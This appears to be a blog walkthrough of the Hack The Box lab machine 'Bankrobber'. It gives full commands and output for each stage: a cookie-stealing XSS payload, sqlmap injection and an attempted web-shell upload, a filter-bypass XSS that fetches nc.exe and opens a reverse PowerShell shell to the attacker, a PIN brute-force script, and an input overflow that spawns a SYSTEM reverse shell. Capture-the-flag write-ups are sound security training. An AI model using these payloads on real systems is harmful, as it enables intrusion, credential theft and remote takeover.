HTB: Bankrobber

Details

This machine is Bankrobber from Hack The Box

Recon

I started with a simple nmap scan

root@kali:~# nmap -sV -p- 10.10.10.154
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 19:05 GMT
Nmap scan report for 10.10.10.154
Host is up (0.024s latency).
Not shown: 65531 filtered ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 198.36 seconds

User

So I tried port 80 http://10.10.10.154/

Screenshot 1

Then port 443 https://10.10.10.154/

Screenshot 2

I ran dirbuster

Screenshot 3

And checkout notes.txt

Screenshot 4

So we're on XAMPP, and comments are encoded in someway. It specifically says that localhost ones aren't so we may be looking at some kind of SSRF. The admin endpoint give

Screenshot 5

So I went back to the main page and signed up with test:password

Screenshot 6

And I logged in at https://10.10.10.154/user/

Screenshot 7

I still can't access the admin endpoint, but I can try sending this with a message to the admin, I tried entering the following while running a simplehttpserver

1
1
<img src="http://10.10.14.27"/>

and was shown

Screenshot 8

Even better, I don't need the admin id as it is already being shown to them. After a minute in my simplehttpserver

10.10.10.154 - - [25/Feb/2020 19:41:07] "GET / HTTP/1.1" 200 -

So it worked with the XSS, so I'll grab the admins cookie by submitting

1
1
<img src="http://10.10.14.27/nope" onerror="this.src='http://10.10.14.27/?c='+document.cookie" />

And after a minute

10.10.10.154 - - [25/Feb/2020 19:50:48] "GET /nope HTTP/1.1" 404 -
10.10.10.154 - - [25/Feb/2020 19:50:49] "GET /?c=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 200 -

This is

username=YWRtaW4%3D
password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D
id=1

I decoded the base64 and got

admin
Hopelessromantic

I used these creds to login as admin and access the admin endpoint

Screenshot 9

The backdoor checker looked interesting, so I tried running "dir"

Screenshot 10

That is annoying, I tried a single quote in the user search field next

Screenshot 11

That is interesting, so I tried

' #

Which caused no error, so I looked for the code that made these requests and found it in https://10.10.10.154/js/system.js

Screenshot 12

With this I setup sqlmap, saving one of the requests using burp

root@kali:~# sqlmap -r /tmp/search --level=5 --risk=3 --dump
[SNIP]
Database: bankrobber
Table: hold
[0 entries]
+----+--------+---------+----------+------------+
| id | amount | comment | userIdTo | userIdFrom |
+----+--------+---------+----------+------------+
+----+--------+---------+----------+------------+
[SNIP]
Database: bankrobber
Table: users
[3 entries]
+----+------------------+----------+
| id | password         | username |
+----+------------------+----------+
| 1  | Hopelessromantic | admin    |
| 2  | gio              | gio      |
| 3  | password         | test     |
+----+------------------+----------+
[SNIP]
Database: bankrobber
Table: balance
[11 entries]
+----+--------+--------+
| id | userid | amount |
+----+--------+--------+
| 1  | 2      | 35     |
| 2  | 3      | 990    |
| 6  | 4      | 2048   |
| 7  | 5      | 1000   |
| 8  | 6      | 1000   |
| 9  | 7      | 1000   |
| 10 | 8      | 1000   |
| 11 | 9      | 1000   |
| 12 | 5      | 1000   |
| 13 | 6      | 1000   |
| 14 | 3      | 1000   |
+----+--------+--------+

Some new info there, but nothing specifically helpful, except maybe a username of gio. I ran it again but this time getting an sql shell

sqlmap -r /tmp/search --level=5 --risk=3 --sql-shell
sql-shell>

I used this to dump the mysql users table

sql-shell> select host,user,password from mysql.user;
[20:29:04] [INFO] fetching SQL SELECT statement query output: 'select host,user,password from mysql.user'
select host,user,password from mysql.user [5]:
[*] localhost, root, *F435725A173757E57BD36B09048B8B610FF4D0C4
[*] 127.0.0.1, root, *F435725A173757E57BD36B09048B8B610FF4D0C4
[*] ::1, root, *F435725A173757E57BD36B09048B8B610FF4D0C4
[*] localhost, , 
[*] localhost, pma,

My hope is I am root so can read/write files

sql-shell> select load_file('C:\Windows\System32\Drivers\etc\hosts');
[20:31:37] [INFO] fetching SQL SELECT statement query output: 'select load_file('C:\Windows\System32\Drivers\etc\hosts')'
select load_file('C:\Windows\System32\Drivers\etc\hosts'): '# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.\r\n#\r\n# This file contains the mappings of IP addresses to host names. Each\r\n# entry should be kept on an individual line. The IP address should\r\n# be placed in the first column followed by the corresponding host name.\r\n# The IP address and the host name should be separated by at least one\r\n# space.\r\n#\r\n# Additionally, comments (such as these) may be inserted on individual\r\n# lines or following the machine name denoted by a '#' symbol.\r\n#\r\n# For example:\r\n#\r\n#      102.54.94.97     rhino.acme.com          # source server\r\n#       38.25.63.10     x.acme.com              # x client host\r\n\r\n# localhost name resolution is handled within DNS itself.\r\n#\t127.0.0.1       localhost\r\n#\t::1             localhost\r\n'

I can read files, so next I tested if the XAMPP install is in the default location

sql-shell> select load_file('C:\xampp\htdocs\index.php');
[20:32:37] [INFO] fetching SQL SELECT statement query output: 'select load_file('C:\xampp\htdocs\index.php')'
select load_file('C:\xampp\htdocs\index.php'): 
[SNIP]

It is there, so I tried to write a php file there, making a file called shell.php containing

<?php system($_GET['c']); ?>

Then attempting the upload

root@kali:~# sqlmap -r /tmp/search --level=5 --risk=3 --file-write=/tmp/shell.php --file-dest="C:/xampp/htdocs/shell.php"

I tried to test it at http://10.10.10.154/shell.php

Screenshot 13

It seems like I can't write to the web root then. But I can read files, so I'll take a look at the code for that backdoor checker to see if I can bypass the blocks

sql-shell> select load_file('C:\xampp\htdocs\admin\backdoorchecker.php');
[20:44:43] [INFO] fetching SQL SELECT statement query output: 'select load_file('C:\xampp\htdocs\admin\backdoorchecker.php')'
select load_file('C:\xampp\htdocs\admin\backdoorchecker.php'): '<?php\r\ninclude('../link.php');\r\ninclude('auth.php');\r\n\r\n$username = base64_decode(urldecode($_COOKIE['username']));\r\n$password = base64_decode(urldecode($_COOKIE['password']));\r\n$bad \t  = array('$(','&');\r\n$good \t  = "ls";\r\n\r\nif(strtolower(substr(PHP_OS,0,3)) == "win"){\r\n\t$good = "dir";\r\n}\r\n\r\nif($username == "admin" && $password == "Hopelessromantic"){\r\n\tif(isset($_POST['cmd'])){\r\n\t\t\t// FILTER ESCAPE CHARS\r\n\t\t\tforeach($bad as $char){\r\n\t\t\t\tif(strpos($_POST['cmd'],$char) !== false){\r\n\t\t\t\t\tdie("You're not allowed to do that.");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// CHECK IF THE FIRST 2 CHARS ARE LS\r\n\t\t\tif(substr($_POST['cmd'], 0,strlen($good)) != $good){\r\n\t\t\t\tdie("It's only allowed to use the $good command");\r\n\t\t\t}\r\n\r\n\t\t\tif($_SERVER['REMOTE_ADDR'] == "::1"){\r\n\t\t\t\tsystem($_POST['cmd']);\r\n\t\t\t} else{\r\n\t\t\t\techo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";\r\n\t\t\t}\r\n\t}\r\n} else{\r\n\techo "You are not allowed to use this function!";\r\n}\r\n?>'

Nicely formatted this is

<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";

if(strtolower(substr(PHP_OS,0,3)) == "win"){
    $good = "dir";
}

if($username == "admin" && $password == "Hopelessromantic"){
    if(isset($_POST['cmd'])){
    // FILTER ESCAPE CHARS
        foreach($bad as $char){
            if(strpos($_POST['cmd'],$char) !== false){
                die("You're not allowed to do that.");
            }
        }
        // CHECK IF THE FIRST 2 CHARS ARE LS
        if(substr($_POST['cmd'], 0,strlen($good)) != $good){
            die("It's only allowed to use the $good command");
        }
        if($_SERVER['REMOTE_ADDR'] == "::1"){
            system($_POST['cmd']);
        } else{
            echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
        }
    }
} else{
    echo "You are not allowed to use this function!";
}
?>

So the command needs to start with dir and cant contain $( or &, but they haven't blocked | or ;, but I need to bypass that remote_addr check. I was hoping the admin is logged in locally, so the XSS against the admin can get my past that check. So I exposed nc.exe on my simplehttpserver and set a listener, then I sent the following XSS payload

<img src="http://10.10.14.27/r"/>
<script type="text/javascript">
    var http = new XMLHttpRequest();
    var url='/admin/backdoorchecker.php'; 
    var params='cmd=dir| powershell -c "Invoke-WebRequest -URI http://10.10.14.27/nc.exe -OutFile %temp%\nc.exe";%temp%\nc.exe -e powershell.exe 10.10.14.27 4444';
    http.open("POST", url, true);
    http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    http.send(params);
</script>

The image at the beginning was to act as a callback when it ran in case I had messed up the AJAX, after a little bit

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.154] 49709
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

Cannot load PSReadline module.  Console is running without PSReadline.
PS C:\xampp\htdocs\admin> 

I now had a shell

PS C:\xampp\htdocs\admin> whoami
bankrobber\cortin

So I went for my first flag

PS C:\Users\Cortin\Desktop> dir
dir

    Directory: C:\Users\Cortin\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        25-4-2019     03:40             32 user.txt                         

PS C:\Users\Cortin\Desktop> type user.txt
[REDACTED]

System Hunting

So I began to look around the file system and found

PS C:\> dir
    Directory: C:\

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        25-4-2019     00:27                PerfLogs                                                              
d-r---        22-8-2019     20:04                Program Files                                                         
d-r---        27-4-2019     16:02                Program Files (x86)                                                   
d-r---        24-4-2019     18:52                Users                                                                 
d-----        16-8-2019     17:29                Windows                                                               
da----        25-4-2019     00:18                xampp                                                                 
-a----        25-4-2019     19:50          57937 bankv2.exe

This bankv2.exe looked interesting but I can't exfil it, but I can see it is running

PS C:\> ps
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName                                                  
-------  ------    -----      -----     ------     --  -- -----------                                                  
     58       5      608        152              1384   0 bankv2   
PS C:\> netstat -ano
netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
[SNIP]
  TCP    0.0.0.0:910            0.0.0.0:0              LISTENING       1384
[SNIP]

It is listening on port 910, I'll see what it does

PS C:\Users\Cortin> .\nc.exe 127.0.0.1 910

 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$]

i tried 1234

[!] Access denied, disconnecting client....

I want to brute force this, but I'll port forward it out with plink first

PS C:\Users\Cortin> Invoke-WebRequest -URI http://10.10.14.27/plink.exe -OutFile C:\Users\Cortin\plink.exe

PS C:\Users\Cortin> .\plink.exe -l plink -pw [REDACTED] 10.10.14.27 -R 9999:127.0.0.1:910

I can now access it locally

root@kali:~# nc 127.0.0.1 9999 
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$]

I then threw together a simple brute force script

from pwn import *
import sys

def main():
  for d_1 in range(0,10):
    for d_2 in range(0,10):
      for d_3 in range(0,10):
        for d_4 in range(0,10):
          con = remote('127.0.0.1', '9999')
          rec = con.recvuntil("[$]")
          code = "{}{}{}{}".format(d_1, d_2, d_3, d_4)
          con.send(code.encode())
          rec = con.recvline().decode()
          print("For {}".format(code))
          print(rec)
          if "Access denied" not in rec:
            print("!!!! DONE !!!!")
            sys.exit(0)  

if __name__ == '__main__':
  main()

I tested this and the tool gave me a pin of 0021 which I tested manually

root@kali:~# nc 127.0.0.1 9999
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                     v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$]

I entered 100

 [$] Transfering $100 using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe

 [$] Transaction in progress, you can safely disconnect...

So I tried again, this time enetering a load of A's as the input

root@kali:~# nc 127.0.0.1 9999
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 [$] Transfering $AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So it seems I can overwrite the program being executed, a bit of manual tested showed this happens at 32 characters on input, so I set myself a new listener

root@kali:~# nc -nvlp 6666

And injected a call the my nc

nc 127.0.0.1 9999
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 # [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$]

And entered

11111111111111111111111111111111C:\Users\Cortin\nc.exe 10.10.14.27 6666 -e powershell.exe

Which led to

 [$] Transfering $11111111111111111111111111111111C:\Users\Cortin\nc.exe 10.10.14.27 6666 -e powershell.exe using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: C:\Users\Cortin\nc.exe 10.10.14.27 6666 -e powershell.exe

 [$] Transaction in progress, you can safely disconnect...

In the listener

connect to [10.10.14.27] from (UNKNOWN) [10.10.10.154] 60743
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

Cannot load PSReadline module.  Console is running without PSReadline.
PS C:\Windows\system32>

A new shell

PS C:\Windows\system32> whoami
nt authority\system

Nice, now the flag,

PS C:\Windows\system32> cd C:\Users\admin\Desktop
PS C:\Users\admin\Desktop> dir

    Directory: C:\Users\admin\Desktop

Mode                LastWriteTime         Length Name                          
----                -------------         ------ ----                          
-a----        25-4-2019     03:39             32 root.txt   

PS C:\Users\admin\Desktop> type root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *